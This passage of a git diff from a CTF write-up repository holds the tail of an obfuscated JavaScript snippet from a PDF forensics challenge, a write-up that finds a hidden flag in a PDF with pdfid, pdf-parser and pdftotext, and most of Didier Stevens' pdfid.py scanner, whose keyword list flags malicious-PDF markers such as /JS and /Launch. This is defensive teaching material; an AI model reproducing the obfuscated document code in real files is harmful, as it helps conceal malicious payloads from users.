if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
|
||||
f += String.fromCharCode(46);
|
||||
w++;
|
||||
}
|
||||
f += c[i];
|
||||
}
|
||||
i = k + "anal";
|
||||
console.log("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");
|
1031
CTFs/2014-CSAW-CTF/forensics/fluffy/pdf-parser.py
Executable file
1031
CTFs/2014-CSAW-CTF/forensics/fluffy/pdf-parser.py
Executable file
File diff suppressed because it is too large
Load diff
1318
CTFs/2014-CSAW-CTF/forensics/fluffy/unpacked.txt
Normal file
1318
CTFs/2014-CSAW-CTF/forensics/fluffy/unpacked.txt
Normal file
File diff suppressed because one or more lines are too long
171
CTFs/2014-CSAW-CTF/forensics/obscurity/README.md
Normal file
171
CTFs/2014-CSAW-CTF/forensics/obscurity/README.md
Normal file
|
@ -0,0 +1,171 @@
|
|||
# Forensics-200: Obscurity
|
||||
|
||||
|
||||
The third forensics problem starts with the following text:
|
||||
|
||||
> see or do not see
|
||||
>
|
||||
> Written by marc
|
||||
>
|
||||
> [pdf.pdf]
|
||||
>
|
||||
|
||||
|
||||
Hacking PDFs, what fun!
|
||||
|
||||
|
||||
In general, when dealing with reverse-engineering malicious documents, we follow these steps:
|
||||
1. We search for malicious embedded code (shell code, JavaScript).
|
||||
2. We extract any suspicious code segments
|
||||
3. If we see shell code, we disassemble or debug it. If we see JavaScript (or ActionScript or VB macro code), we try to examine it.
|
||||
|
||||
However, this problem turned out to be very simple...
|
||||
|
||||
---
|
||||
|
||||
## Finding the Flag in 10 Seconds
|
||||
|
||||
Yeap, this easy:
|
||||
|
||||
1. Download the PDF file.
|
||||
2. Open it in any PDF viewer.
|
||||
3. CTRL+A (select all the contend).
|
||||
4. You see the flag!
|
||||
|
||||

|
||||
|
||||
OK, we were luck. Keep reading if you think this was too easy.
|
||||
|
||||
|
||||
|
||||
## Analysing the ID and the Streams in a PDF File
|
||||
|
||||
Let's suppose we had no clue that the flag would just be a text in the file. In this case, we would want to examine the file's structure. For this task we use the [PDF Tool] suite, which is written in Python.
|
||||
|
||||
#### pdfid
|
||||
|
||||
We start with *pdfid.py*, which parses the PDF looking for certain keywords. We download and unzip that script, and then we make it an executable:
|
||||
|
||||
```sh
|
||||
$ unzip pdfid_v0_1_2.zip
|
||||
$ chmod a+x pdfid.py
|
||||
```
|
||||
|
||||
Running over our file gives:
|
||||
```sh
|
||||
$ ./pdfid.py pdf.pdf
|
||||
PDFiD 0.1.2 pdf.pdf
|
||||
PDF Header: %PDF-1.3
|
||||
obj 20
|
||||
endobj 19
|
||||
stream 10
|
||||
endstream 10
|
||||
xref 1
|
||||
trailer 1
|
||||
startxref 1
|
||||
/Page 1
|
||||
/Encrypt 0
|
||||
/ObjStm 0
|
||||
/JS 0
|
||||
/JavaScript 0
|
||||
/AA 0
|
||||
/OpenAction 0
|
||||
/AcroForm 0
|
||||
/JBIG2Decode 0
|
||||
/RichMedia 0
|
||||
/Launch 0
|
||||
/EmbeddedFile 0
|
||||
/XFA 0
|
||||
/Colors > 2^24 0
|
||||
```
|
||||
|
||||
All right, no funny stuff going on here. We need to look deeper into each of the these streams.
|
||||
|
||||
#### pdf-parser
|
||||
|
||||
We download *pdf-parser.py*, which is used to search for all the fundamental elements in a PDF file. Let's take a closer look:
|
||||
|
||||
```sh
|
||||
$ unzip pdf-parser_V0_4_3.zip
|
||||
$ chmod a+x pdf-parser.py
|
||||
$ ./pdf-parser.py
|
||||
Usage: pdf-parser.py [options] pdf-file|zip-file|url
|
||||
pdf-parser, use it to parse a PDF document
|
||||
|
||||
Options:
|
||||
--version show program's version number and exit
|
||||
-s SEARCH, --search=SEARCH
|
||||
string to search in indirect objects (except streams)
|
||||
-f, --filter pass stream object through filters (FlateDecode,
|
||||
ASCIIHexDecode, ASCII85Decode, LZWDecode and
|
||||
RunLengthDecode only)
|
||||
-o OBJECT, --object=OBJECT
|
||||
id of indirect object to select (version independent)
|
||||
-r REFERENCE, --reference=REFERENCE
|
||||
id of indirect object being referenced (version
|
||||
independent)
|
||||
-e ELEMENTS, --elements=ELEMENTS
|
||||
type of elements to select (cxtsi)
|
||||
-w, --raw raw output for data and filters
|
||||
-a, --stats display stats for pdf document
|
||||
-t TYPE, --type=TYPE type of indirect object to select
|
||||
-v, --verbose display malformed PDF elements
|
||||
-x EXTRACT, --extract=EXTRACT
|
||||
filename to extract malformed content to
|
||||
-H, --hash display hash of objects
|
||||
-n, --nocanonicalizedoutput
|
||||
do not canonicalize the output
|
||||
-d DUMP, --dump=DUMP filename to dump stream content to
|
||||
-D, --debug display debug info
|
||||
-c, --content display the content for objects without streams or
|
||||
with streams without filters
|
||||
--searchstream=SEARCHSTREAM
|
||||
string to search in streams
|
||||
--unfiltered search in unfiltered streams
|
||||
--casesensitive case sensitive search in streams
|
||||
--regex use regex to search in streams
|
||||
```
|
||||
|
||||
Very interesting! We run it with our file, searching for the string */ProcSet*:
|
||||
```sh
|
||||
$ ./pdf-parser.py pdf.pdf | grep /ProcSet
|
||||
/ProcSet [ /ImageC /Text /PDF /ImageI /ImageB ]
|
||||
```
|
||||
Awesome! Even though we don't see any text in the file (when we opened it in the PDF viewer), there is text somewhere!
|
||||
|
||||
|
||||
## Getting Text from PDF
|
||||
|
||||
|
||||
A good way to extract text from a pdf is using [pdftotext]:
|
||||
|
||||
```sh
|
||||
$ pdftotext pdf.pdf
|
||||
```
|
||||
|
||||
You should get a ```pdf.txt``` file. Reading it with Linux's commands ```cat``` or ```strings```gives you the flag:
|
||||
|
||||
```sh
|
||||
$ strings pdf.txt
|
||||
flag{security_through_obscurity}
|
||||
```
|
||||
|
||||
As a note, there are several other PDF forensics tools that are worth to be mentioned: [Origami] (pdfextract extracts JavaScript from PDF files), [PDF Stream Dumper] (several PDF analysis tools), [Peepdf] (command-line shell for examining PDF), [PDF X-RAY Lite] (creates an HTML report with decoded file structure and contents), [SWF mastah] (extracts SWF objects), [Pyew](for examining and decoding structure and content of PDF files).
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**Hack all the things!**
|
||||
[PDF Tool]:http://blog.didierstevens.com/programs/pdf-tools/
|
||||
[Origami]: http://esec-lab.sogeti.com/pages/Origami
|
||||
[PDF Stream Dumper]: http://blog.zeltser.com/post/3235995383/pdf-stream-dumper-malicious-file-analysis
|
||||
[Peepdf]: http://blog.zeltser.com/post/6780160077/peepdf-malicious-pdf-analysis
|
||||
[SWF mastah]: http://blog.zeltser.com/post/12615013257/extracting-swf-from-pdf-using-swf-mastah
|
||||
[PDF X-RAY Lite]: https://github.com/9b/pdfxray_lite
|
||||
[Pyew]: http://code.google.com/p/pyew/wiki/PDFAnalysis
|
||||
|
||||
[this website]: http://blog.didierstevens.com/programs/pdf-tools/
|
||||
[pdf-tools]: https://apps.fedoraproject.org/packages/pdf-tools
|
||||
[pdf.pdf]: https://ctf.isis.poly.edu/static/uploads/883c7046854e04138c55680ffde90a61/pdf.pdf
|
||||
[pdftotext]: http://en.wikipedia.org/wiki/Pdftotext
|
1031
CTFs/2014-CSAW-CTF/forensics/obscurity/pdf-parser.py
Executable file
1031
CTFs/2014-CSAW-CTF/forensics/obscurity/pdf-parser.py
Executable file
File diff suppressed because it is too large
Load diff
BIN
CTFs/2014-CSAW-CTF/forensics/obscurity/pdf.pdf
Normal file
BIN
CTFs/2014-CSAW-CTF/forensics/obscurity/pdf.pdf
Normal file
Binary file not shown.
714
CTFs/2014-CSAW-CTF/forensics/obscurity/pdfid.py
Executable file
714
CTFs/2014-CSAW-CTF/forensics/obscurity/pdfid.py
Executable file
|
@ -0,0 +1,714 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
__description__ = 'Tool to test a PDF file'
|
||||
__author__ = 'Didier Stevens'
|
||||
__version__ = '0.1.2'
|
||||
__date__ = '2013/03/13'
|
||||
|
||||
"""
|
||||
|
||||
Tool to test a PDF file
|
||||
|
||||
Source code put in public domain by Didier Stevens, no Copyright
|
||||
https://DidierStevens.com
|
||||
Use at your own risk
|
||||
|
||||
History:
|
||||
2009/03/27: start
|
||||
2009/03/28: scan option
|
||||
2009/03/29: V0.0.2: xml output
|
||||
2009/03/31: V0.0.3: /ObjStm suggested by Dion
|
||||
2009/04/02: V0.0.4: added ErrorMessage
|
||||
2009/04/20: V0.0.5: added Dates
|
||||
2009/04/21: V0.0.6: added entropy
|
||||
2009/04/22: added disarm
|
||||
2009/04/29: finished disarm
|
||||
2009/05/13: V0.0.7: added cPDFEOF
|
||||
2009/07/24: V0.0.8: added /AcroForm and /RichMedia, simplified %PDF header regex, extra date format (without TZ)
|
||||
2009/07/25: added input redirection, option --force
|
||||
2009/10/13: V0.0.9: added detection for CVE-2009-3459; added /RichMedia to disarm
|
||||
2010/01/11: V0.0.10: relaxed %PDF header checking
|
||||
2010/04/28: V0.0.11: added /Launch
|
||||
2010/09/21: V0.0.12: fixed cntCharsAfterLastEOF bug; fix by Russell Holloway
|
||||
2011/12/29: updated for Python 3, added keyword /EmbeddedFile
|
||||
2012/03/03: added PDFiD2JSON; coded by Brandon Dixon
|
||||
2013/02/10: V0.1.0: added http/https support; added support for ZIP file with password 'infected'
|
||||
2013/03/11: V0.1.1: fixes for Python 3
|
||||
2013/03/13: V0.1.2: Added error handling for files; added /XFA
|
||||
|
||||
Todo:
|
||||
- update XML example (entropy, EOF)
|
||||
- code review, cleanup
|
||||
"""
|
||||
|
||||
import optparse
|
||||
import os
|
||||
import re
|
||||
import xml.dom.minidom
|
||||
import traceback
|
||||
import math
|
||||
import operator
|
||||
import os.path
|
||||
import sys
|
||||
import json
|
||||
import zipfile
|
||||
try:
|
||||
import urllib2
|
||||
urllib23 = urllib2
|
||||
except:
|
||||
import urllib.request
|
||||
urllib23 = urllib.request
|
||||
|
||||
#Convert 2 Bytes If Python 3
|
||||
def C2BIP3(string):
|
||||
if sys.version_info[0] > 2:
|
||||
return bytes([ord(x) for x in string])
|
||||
else:
|
||||
return string
|
||||
|
||||
class cBinaryFile:
|
||||
def __init__(self, file):
|
||||
self.file = file
|
||||
if file == '':
|
||||
self.infile = sys.stdin
|
||||
elif file.lower().startswith('http://') or file.lower().startswith('https://'):
|
||||
try:
|
||||
if sys.hexversion >= 0x020601F0:
|
||||
self.infile = urllib23.urlopen(file, timeout=5)
|
||||
else:
|
||||
self.infile = urllib23.urlopen(file)
|
||||
except urllib23.HTTPError:
|
||||
print('Error accessing URL %s' % file)
|
||||
print(sys.exc_info()[1])
|
||||
sys.exit()
|
||||
elif file.lower().endswith('.zip'):
|
||||
try:
|
||||
self.zipfile = zipfile.ZipFile(file, 'r')
|
||||
self.infile = self.zipfile.open(self.zipfile.infolist()[0], 'r', C2BIP3('infected'))
|
||||
except:
|
||||
print('Error opening file %s' % file)
|
||||
print(sys.exc_info()[1])
|
||||
sys.exit()
|
||||
else:
|
||||
try:
|
||||
self.infile = open(file, 'rb')
|
||||
except:
|
||||
print('Error opening file %s' % file)
|
||||
print(sys.exc_info()[1])
|
||||
sys.exit()
|
||||
self.ungetted = []
|
||||
|
||||
def byte(self):
|
||||
if len(self.ungetted) != 0:
|
||||
return self.ungetted.pop()
|
||||
inbyte = self.infile.read(1)
|
||||
if not inbyte or inbyte == '':
|
||||
self.infile.close()
|
||||
return None
|
||||
return ord(inbyte)
|
||||
|
||||
def bytes(self, size):
|
||||
if size <= len(self.ungetted):
|
||||
result = self.ungetted[0:size]
|
||||
del self.ungetted[0:size]
|
||||
return result
|
||||
inbytes = self.infile.read(size - len(self.ungetted))
|
||||
if inbytes == '':
|
||||
self.infile.close()
|
||||
if type(inbytes) == type(''):
|
||||
result = self.ungetted + [ord(b) for b in inbytes]
|
||||
else:
|
||||
result = self.ungetted + [b for b in inbytes]
|
||||
self.ungetted = []
|
||||
return result
|
||||
|
||||
def unget(self, byte):
|
||||
self.ungetted.append(byte)
|
||||
|
||||
def ungets(self, bytes):
|
||||
bytes.reverse()
|
||||
self.ungetted.extend(bytes)
|
||||
|
||||
class cPDFDate:
|
||||
def __init__(self):
|
||||
self.state = 0
|
||||
|
||||
def parse(self, char):
|
||||
if char == 'D':
|
||||
self.state = 1
|
||||
return None
|
||||
elif self.state == 1:
|
||||
if char == ':':
|
||||
self.state = 2
|
||||
self.digits1 = ''
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif self.state == 2:
|
||||
if len(self.digits1) < 14:
|
||||
if char >= '0' and char <= '9':
|
||||
self.digits1 += char
|
||||
return None
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif char == '+' or char == '-' or char == 'Z':
|
||||
self.state = 3
|
||||
self.digits2 = ''
|
||||
self.TZ = char
|
||||
return None
|
||||
elif char == '"':
|
||||
self.state = 0
|
||||
self.date = 'D:' + self.digits1
|
||||
return self.date
|
||||
elif char < '0' or char > '9':
|
||||
self.state = 0
|
||||
self.date = 'D:' + self.digits1
|
||||
return self.date
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif self.state == 3:
|
||||
if len(self.digits2) < 2:
|
||||
if char >= '0' and char <= '9':
|
||||
self.digits2 += char
|
||||
return None
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif len(self.digits2) == 2:
|
||||
if char == "'":
|
||||
self.digits2 += char
|
||||
return None
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
elif len(self.digits2) < 5:
|
||||
if char >= '0' and char <= '9':
|
||||
self.digits2 += char
|
||||
if len(self.digits2) == 5:
|
||||
self.state = 0
|
||||
self.date = 'D:' + self.digits1 + self.TZ + self.digits2
|
||||
return self.date
|
||||
else:
|
||||
return None
|
||||
else:
|
||||
self.state = 0
|
||||
return None
|
||||
|
||||
def fEntropy(countByte, countTotal):
|
||||
x = float(countByte) / countTotal
|
||||
if x > 0:
|
||||
return - x * math.log(x, 2)
|
||||
else:
|
||||
return 0.0
|
||||
|
||||
class cEntropy:
|
||||
def __init__(self):
|
||||
self.allBucket = [0 for i in range(0, 256)]
|
||||
self.streamBucket = [0 for i in range(0, 256)]
|
||||
|
||||
def add(self, byte, insideStream):
|
||||
self.allBucket[byte] += 1
|
||||
if insideStream:
|
||||
self.streamBucket[byte] += 1
|
||||
|
||||
def removeInsideStream(self, byte):
|
||||
if self.streamBucket[byte] > 0:
|
||||
self.streamBucket[byte] -= 1
|
||||
|
||||
def calc(self):
|
||||
self.nonStreamBucket = map(operator.sub, self.allBucket, self.streamBucket)
|
||||
allCount = sum(self.allBucket)
|
||||
streamCount = sum(self.streamBucket)
|
||||
nonStreamCount = sum(self.nonStreamBucket)
|
||||
return (allCount, sum(map(lambda x: fEntropy(x, allCount), self.allBucket)), streamCount, sum(map(lambda x: fEntropy(x, streamCount), self.streamBucket)), nonStreamCount, sum(map(lambda x: fEntropy(x, nonStreamCount), self.nonStreamBucket)))
|
||||
|
||||
class cPDFEOF:
|
||||
def __init__(self):
|
||||
self.token = ''
|
||||
self.cntEOFs = 0
|
||||
|
||||
def parse(self, char):
|
||||
if self.cntEOFs > 0:
|
||||
self.cntCharsAfterLastEOF += 1
|
||||
if self.token == '' and char == '%':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%' and char == '%':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%' and char == 'E':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%E' and char == 'O':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%EO' and char == 'F':
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%EOF' and (char == '\n' or char == '\r' or char == ' ' or char == '\t'):
|
||||
self.cntEOFs += 1
|
||||
self.cntCharsAfterLastEOF = 0
|
||||
if char == '\n':
|
||||
self.token = ''
|
||||
else:
|
||||
self.token += char
|
||||
return
|
||||
elif self.token == '%%EOF\r':
|
||||
if char == '\n':
|
||||
self.cntCharsAfterLastEOF = 0
|
||||
self.token = ''
|
||||
else:
|
||||
self.token = ''
|
||||
|
||||
def FindPDFHeaderRelaxed(oBinaryFile):
|
||||
bytes = oBinaryFile.bytes(1024)
|
||||
index = ''.join([chr(byte) for byte in bytes]).find('%PDF')
|
||||
if index == -1:
|
||||
oBinaryFile.ungets(bytes)
|
||||
return ([], None)
|
||||
for endHeader in range(index + 4, index + 4 + 10):
|
||||
if bytes[endHeader] == 10 or bytes[endHeader] == 13:
|
||||
break
|
||||
oBinaryFile.ungets(bytes[endHeader:])
|
||||
return (bytes[0:endHeader], ''.join([chr(byte) for byte in bytes[index:endHeader]]))
|
||||
|
||||
def Hexcode2String(char):
|
||||
if type(char) == int:
|
||||
return '#%02x' % char
|
||||
else:
|
||||
return char
|
||||
|
||||
def SwapCase(char):
|
||||
if type(char) == int:
|
||||
return ord(chr(char).swapcase())
|
||||
else:
|
||||
return char.swapcase()
|
||||
|
||||
def HexcodeName2String(hexcodeName):
|
||||
return ''.join(map(Hexcode2String, hexcodeName))
|
||||
|
||||
def SwapName(wordExact):
|
||||
return map(SwapCase, wordExact)
|
||||
|
||||
def UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut):
|
||||
if word != '':
|
||||
if slash + word in words:
|
||||
words[slash + word][0] += 1
|
||||
if hexcode:
|
||||
words[slash + word][1] += 1
|
||||
elif slash == '/' and allNames:
|
||||
words[slash + word] = [1, 0]
|
||||
if hexcode:
|
||||
words[slash + word][1] += 1
|
||||
if slash == '/':
|
||||
lastName = slash + word
|
||||
if slash == '':
|
||||
if word == 'stream':
|
||||
insideStream = True
|
||||
if word == 'endstream':
|
||||
if insideStream == True and oEntropy != None:
|
||||
for char in 'endstream':
|
||||
oEntropy.removeInsideStream(ord(char))
|
||||
insideStream = False
|
||||
if fOut != None:
|
||||
if slash == '/' and '/' + word in ('/JS', '/JavaScript', '/AA', '/OpenAction', '/JBIG2Decode', '/RichMedia', '/Launch'):
|
||||
wordExactSwapped = HexcodeName2String(SwapName(wordExact))
|
||||
fOut.write(C2BIP3(wordExactSwapped))
|
||||
print('/%s -> /%s' % (HexcodeName2String(wordExact), wordExactSwapped))
|
||||
else:
|
||||
fOut.write(C2BIP3(HexcodeName2String(wordExact)))
|
||||
return ('', [], False, lastName, insideStream)
|
||||
|
||||
class cCVE_2009_3459:
|
||||
def __init__(self):
|
||||
self.count = 0
|
||||
|
||||
def Check(self, lastName, word):
|
||||
if (lastName == '/Colors' and word.isdigit() and int(word) > 2^24): # decided to alert when the number of colors is expressed with more than 3 bytes
|
||||
self.count += 1
|
||||
|
||||
def PDFiD(file, allNames=False, extraData=False, disarm=False, force=False):
|
||||
"""Example of XML output:
|
||||
<PDFiD ErrorOccured="False" ErrorMessage="" Filename="test.pdf" Header="%PDF-1.1" IsPDF="True" Version="0.0.4" Entropy="4.28">
|
||||
<Keywords>
|
||||
<Keyword Count="7" HexcodeCount="0" Name="obj"/>
|
||||
<Keyword Count="7" HexcodeCount="0" Name="endobj"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="stream"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="endstream"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="xref"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="trailer"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="startxref"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="/Page"/>
|
||||
<Keyword Count="0" HexcodeCount="0" Name="/Encrypt"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="/JS"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="/JavaScript"/>
|
||||
<Keyword Count="0" HexcodeCount="0" Name="/AA"/>
|
||||
<Keyword Count="1" HexcodeCount="0" Name="/OpenAction"/>
|
||||
<Keyword Count="0" HexcodeCount="0" Name="/JBIG2Decode"/>
|
||||
</Keywords>
|
||||
<Dates>
|
||||
<Date Value="D:20090128132916+01'00" Name="/ModDate"/>
|
||||
</Dates>
|
||||
</PDFiD>
|
||||
"""
|
||||
|
||||
word = ''
|
||||
wordExact = []
|
||||
hexcode = False
|
||||
lastName = ''
|
||||
insideStream = False
|
||||
keywords = ('obj',
|
||||
'endobj',
|
||||
'stream',
|
||||
'endstream',
|
||||
'xref',
|
||||
'trailer',
|
||||
'startxref',
|
||||
'/Page',
|
||||
'/Encrypt',
|
||||
'/ObjStm',
|
||||
'/JS',
|
||||
'/JavaScript',
|
||||
'/AA',
|
||||
'/OpenAction',
|
||||
'/AcroForm',
|
||||
'/JBIG2Decode',
|
||||
'/RichMedia',
|
||||
'/Launch',
|
||||
'/EmbeddedFile',
|
||||
'/XFA',
|
||||
)
|
||||
words = {}
|
||||
dates = []
|
||||
for keyword in keywords:
|
||||
words[keyword] = [0, 0]
|
||||
slash = ''
|
||||
xmlDoc = xml.dom.minidom.getDOMImplementation().createDocument(None, 'PDFiD', None)
|
||||
att = xmlDoc.createAttribute('Version')
|
||||
att.nodeValue = __version__
|
||||
xmlDoc.documentElement.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Filename')
|
||||
att.nodeValue = file
|
||||
xmlDoc.documentElement.setAttributeNode(att)
|
||||
attErrorOccured = xmlDoc.createAttribute('ErrorOccured')
|
||||
xmlDoc.documentElement.setAttributeNode(attErrorOccured)
|
||||
attErrorOccured.nodeValue = 'False'
|
||||
attErrorMessage = xmlDoc.createAttribute('ErrorMessage')
|
||||
xmlDoc.documentElement.setAttributeNode(attErrorMessage)
|
||||
attErrorMessage.nodeValue = ''
|
||||
|
||||
oPDFDate = None
|
||||
oEntropy = None
|
||||
oPDFEOF = None
|
||||
oCVE_2009_3459 = cCVE_2009_3459()
|
||||
try:
|
||||
attIsPDF = xmlDoc.createAttribute('IsPDF')
|
||||
xmlDoc.documentElement.setAttributeNode(attIsPDF)
|
||||
oBinaryFile = cBinaryFile(file)
|
||||
if extraData:
|
||||
oPDFDate = cPDFDate()
|
||||
oEntropy = cEntropy()
|
||||
oPDFEOF = cPDFEOF()
|
||||
(bytesHeader, pdfHeader) = FindPDFHeaderRelaxed(oBinaryFile)
|
||||
if disarm:
|
||||
(pathfile, extension) = os.path.splitext(file)
|
||||
fOut = open(pathfile + '.disarmed' + extension, 'wb')
|
||||
for byteHeader in bytesHeader:
|
||||
fOut.write(C2BIP3(chr(byteHeader)))
|
||||
else:
|
||||
fOut = None
|
||||
if oEntropy != None:
|
||||
for byteHeader in bytesHeader:
|
||||
oEntropy.add(byteHeader, insideStream)
|
||||
if pdfHeader == None and not force:
|
||||
attIsPDF.nodeValue = 'False'
|
||||
return xmlDoc
|
||||
else:
|
||||
if pdfHeader == None:
|
||||
attIsPDF.nodeValue = 'False'
|
||||
pdfHeader = ''
|
||||
else:
|
||||
attIsPDF.nodeValue = 'True'
|
||||
att = xmlDoc.createAttribute('Header')
|
||||
att.nodeValue = repr(pdfHeader[0:10]).strip("'")
|
||||
xmlDoc.documentElement.setAttributeNode(att)
|
||||
byte = oBinaryFile.byte()
|
||||
while byte != None:
|
||||
char = chr(byte)
|
||||
charUpper = char.upper()
|
||||
if charUpper >= 'A' and charUpper <= 'Z' or charUpper >= '0' and charUpper <= '9':
|
||||
word += char
|
||||
wordExact.append(char)
|
||||
elif slash == '/' and char == '#':
|
||||
d1 = oBinaryFile.byte()
|
||||
if d1 != None:
|
||||
d2 = oBinaryFile.byte()
|
||||
if d2 != None and (chr(d1) >= '0' and chr(d1) <= '9' or chr(d1).upper() >= 'A' and chr(d1).upper() <= 'F') and (chr(d2) >= '0' and chr(d2) <= '9' or chr(d2).upper() >= 'A' and chr(d2).upper() <= 'F'):
|
||||
word += chr(int(chr(d1) + chr(d2), 16))
|
||||
wordExact.append(int(chr(d1) + chr(d2), 16))
|
||||
hexcode = True
|
||||
if oEntropy != None:
|
||||
oEntropy.add(d1, insideStream)
|
||||
oEntropy.add(d2, insideStream)
|
||||
if oPDFEOF != None:
|
||||
oPDFEOF.parse(d1)
|
||||
oPDFEOF.parse(d2)
|
||||
else:
|
||||
oBinaryFile.unget(d2)
|
||||
oBinaryFile.unget(d1)
|
||||
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
|
||||
if disarm:
|
||||
fOut.write(C2BIP3(char))
|
||||
else:
|
||||
oBinaryFile.unget(d1)
|
||||
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
|
||||
if disarm:
|
||||
fOut.write(C2BIP3(char))
|
||||
else:
|
||||
oCVE_2009_3459.Check(lastName, word)
|
||||
|
||||
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
|
||||
if char == '/':
|
||||
slash = '/'
|
||||
else:
|
||||
slash = ''
|
||||
if disarm:
|
||||
fOut.write(C2BIP3(char))
|
||||
|
||||
if oPDFDate != None and oPDFDate.parse(char) != None:
|
||||
dates.append([oPDFDate.date, lastName])
|
||||
|
||||
if oEntropy != None:
|
||||
oEntropy.add(byte, insideStream)
|
||||
|
||||
if oPDFEOF != None:
|
||||
oPDFEOF.parse(char)
|
||||
|
||||
byte = oBinaryFile.byte()
|
||||
(word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut)
|
||||
|
||||
# check to see if file ended with %%EOF. If so, we can reset charsAfterLastEOF and add one to EOF count. This is never performed in
|
||||
# the parse function because it never gets called due to hitting the end of file.
|
||||
if byte == None and oPDFEOF != None:
|
||||
if oPDFEOF.token == '%%EOF':
|
||||
oPDFEOF.cntEOFs += 1
|
||||
oPDFEOF.cntCharsAfterLastEOF = 0
|
||||
oPDFEOF.token = ''
|
||||
|
||||
except SystemExit:
|
||||
sys.exit()
|
||||
except:
|
||||
attErrorOccured.nodeValue = 'True'
|
||||
attErrorMessage.nodeValue = traceback.format_exc()
|
||||
|
||||
if disarm:
|
||||
fOut.close()
|
||||
|
||||
attEntropyAll = xmlDoc.createAttribute('TotalEntropy')
|
||||
xmlDoc.documentElement.setAttributeNode(attEntropyAll)
|
||||
attCountAll = xmlDoc.createAttribute('TotalCount')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountAll)
|
||||
attEntropyStream = xmlDoc.createAttribute('StreamEntropy')
|
||||
xmlDoc.documentElement.setAttributeNode(attEntropyStream)
|
||||
attCountStream = xmlDoc.createAttribute('StreamCount')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountStream)
|
||||
attEntropyNonStream = xmlDoc.createAttribute('NonStreamEntropy')
|
||||
xmlDoc.documentElement.setAttributeNode(attEntropyNonStream)
|
||||
attCountNonStream = xmlDoc.createAttribute('NonStreamCount')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountNonStream)
|
||||
if oEntropy != None:
|
||||
(countAll, entropyAll , countStream, entropyStream, countNonStream, entropyNonStream) = oEntropy.calc()
|
||||
attEntropyAll.nodeValue = '%f' % entropyAll
|
||||
attCountAll.nodeValue = '%d' % countAll
|
||||
attEntropyStream.nodeValue = '%f' % entropyStream
|
||||
attCountStream.nodeValue = '%d' % countStream
|
||||
attEntropyNonStream.nodeValue = '%f' % entropyNonStream
|
||||
attCountNonStream.nodeValue = '%d' % countNonStream
|
||||
else:
|
||||
attEntropyAll.nodeValue = ''
|
||||
attCountAll.nodeValue = ''
|
||||
attEntropyStream.nodeValue = ''
|
||||
attCountStream.nodeValue = ''
|
||||
attEntropyNonStream.nodeValue = ''
|
||||
attCountNonStream.nodeValue = ''
|
||||
attCountEOF = xmlDoc.createAttribute('CountEOF')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountEOF)
|
||||
attCountCharsAfterLastEOF = xmlDoc.createAttribute('CountCharsAfterLastEOF')
|
||||
xmlDoc.documentElement.setAttributeNode(attCountCharsAfterLastEOF)
|
||||
if oPDFEOF != None:
|
||||
attCountEOF.nodeValue = '%d' % oPDFEOF.cntEOFs
|
||||
attCountCharsAfterLastEOF.nodeValue = '%d' % oPDFEOF.cntCharsAfterLastEOF
|
||||
else:
|
||||
attCountEOF.nodeValue = ''
|
||||
attCountCharsAfterLastEOF.nodeValue = ''
|
||||
|
||||
eleKeywords = xmlDoc.createElement('Keywords')
|
||||
xmlDoc.documentElement.appendChild(eleKeywords)
|
||||
for keyword in keywords:
|
||||
eleKeyword = xmlDoc.createElement('Keyword')
|
||||
eleKeywords.appendChild(eleKeyword)
|
||||
att = xmlDoc.createAttribute('Name')
|
||||
att.nodeValue = keyword
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Count')
|
||||
att.nodeValue = str(words[keyword][0])
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('HexcodeCount')
|
||||
att.nodeValue = str(words[keyword][1])
|
||||
eleKeyword.setAttributeNode(att)
|
||||
eleKeyword = xmlDoc.createElement('Keyword')
|
||||
eleKeywords.appendChild(eleKeyword)
|
||||
att = xmlDoc.createAttribute('Name')
|
||||
att.nodeValue = '/Colors > 2^24'
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('Count')
|
||||
att.nodeValue = str(oCVE_2009_3459.count)
|
||||
eleKeyword.setAttributeNode(att)
|
||||
att = xmlDoc.createAttribute('HexcodeCount')
|
||||
att.nodeValue = str(0)
|
||||
eleKeyword.setAttributeNode(att)
|
||||
if allNames:
|
||||
keys = sorted(words.keys())
|
||||
for word in keys:
|
||||
if not word in keywords:
|
||||
eleKeyword = xmlDoc.createElement('Keyword')
|
||||
eleKeywords.appendChild(eleKeyword)
|
||||
